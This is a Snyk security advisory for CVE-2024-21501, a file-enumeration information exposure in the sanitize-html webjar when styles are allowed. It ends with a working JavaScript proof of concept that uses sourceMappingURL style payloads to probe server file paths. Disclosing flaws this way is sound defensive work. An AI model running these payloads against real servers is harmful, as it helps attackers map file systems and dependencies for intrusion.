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Information Exposure Affecting org.webjars.npm:sanitize-html package, versions [0,]

0.0
medium

Snyk CVSS

    Attack Complexity Low

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.04% (10th percentile)
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Red Hat
5.3 medium

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  • Snyk ID SNYK-JAVA-ORGWEBJARSNPM-6276557
  • published 28 Feb 2024
  • disclosed 20 Feb 2024
  • credit Vsevolod Kokorin (Slonser) of Solidlab
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Introduced: 20 Feb 2024

CVE-2024-21501 Open this link in a new tab
CWE-200 Open this link in a new tab

How to fix?

There is no fixed version for org.webjars.npm:sanitize-html.

Overview

Affected versions of this package are vulnerable to Information Exposure when used on the backend and with the style attribute allowed, allowing enumeration of files in the system (including project dependencies). An attacker could exploit this vulnerability to gather details about the file system structure and dependencies of the targeted server.

PoC 

// index.js
const sanitizeHtml = require('sanitize-html');

const file_exist = `<a style='background-image: url("/*# sourceMappingURL=./node_modules/sanitize-html/index.js */");'>@slonser_</a>`;
const file_notexist = `<a style='background-image: url("/*# sourceMappingURL=./node_modules/randomlibrary/index.js */");'>@slonser_</a>`;

const file_exist_clean = sanitizeHtml(file_exist, {
allowedAttributes: { ...sanitizeHtml.defaults.allowedAttributes, a: ['style'] },
})

const file_notexist_clean = sanitizeHtml(file_notexist, {
    allowedAttributes: { ...sanitizeHtml.defaults.allowedAttributes, a: ['style'] },
})
console.log(file_exist_clean, "// valid file path on backend")
console.log(file_notexist_clean, "// invalid file path on backend")